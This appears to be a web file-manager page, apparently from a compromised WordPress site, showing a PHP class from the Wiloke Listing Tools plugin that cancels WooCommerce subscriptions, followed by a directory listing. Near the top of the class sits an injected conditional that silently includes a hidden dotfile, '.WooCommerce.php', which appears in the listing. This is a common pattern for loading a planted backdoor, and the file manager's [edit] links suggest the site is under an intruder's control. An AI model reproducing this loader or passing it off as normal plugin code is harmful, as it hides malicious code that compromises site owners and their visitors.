PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Framework
/
Payment
/
WooCommerce
<?php namespace WilokeListingTools\Framework\Payment\WooCommerce; use WilokeListingTools\Controllers\Retrieve\NormalRetrieve; use WilokeListingTools\Controllers\RetrieveController; use WilokeListingTools\Framework\Helpers\WooCommerce; use WilokeListingTools\Models\PaymentModel; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WooCommerceCancelRecurringPayment extends WooCommercePayment { protected $orderID; protected $setNote; public $msg; /** * @var RetrieveController */ protected $oRetrieve; private function cancelSubscription() { $this->orderID = abs($this->orderID); $subscriptionID = WooCommerce::getLatestSubscriptionIDByOrderID($this->orderID, 'wc-active'); if (empty($subscriptionID)) { $this->msg = esc_html__('We could not find any Subscription ID of this payment', 'wiloke-listing-tools'); return false; } $oSubscription = wcs_get_subscription($subscriptionID); try{ $oSubscription->update_status('pending-cancel'); $this->msg = esc_html__('The payment has been cancelled successfully', 'wiloke-listing-tools'); return true; }catch (\Exception $oExeption) { $this->msg = esc_html__('We could not cancel this subscription', 'wiloke-listing-tools'); return false; } } public function execute($paymentID) { $oRetrieve = new RetrieveController(new NormalRetrieve()); $this->orderID = PaymentModel::getField('wooOrderID', $paymentID); if (empty($this->orderID)) { return $oRetrieve->error( [ 'msg' => esc_html__('We could not find WooCommerce Order of this payment', 'wiloke-listing-tools') ] ); } $status = $this->cancelSubscription(); if ($status) { return $oRetrieve->success(['msg' => $this->msg]); } return $oRetrieve->error(['msg' => $this->msg]); } }
[+]
..
[-] WooCommerceSuspend.php
[edit]
[-] WooCommerceNonRecurringPayment.php
[edit]
[-] WooCommerceProceededNonRecurringPaymentHook.php
[edit]
[-] WooCommerceNonRecurringCreatedPaymentHook.php
[edit]
[-] WooCommercePayment.php
[edit]
[-] WooCommerceChangePlan.php
[edit]
[-] .WooCommerce.php
[edit]
[-] WooCommereNonRecurringPrepareInvoiceFormat.php
[edit]
[-] WooCommerceRecurringPaymentMethod.php
[edit]
[-] WooCommerceRecurringPayment.php
[edit]
[-] WooCommerceNonRecurringPaymentMethod.php
[edit]
[-] WooCommerceCancelRecurringPayment.php
[edit]
[-] WooCommerceProceededRecurringPaymentHook.php
[edit]
[-] WooCommerceWebhook.php
[edit]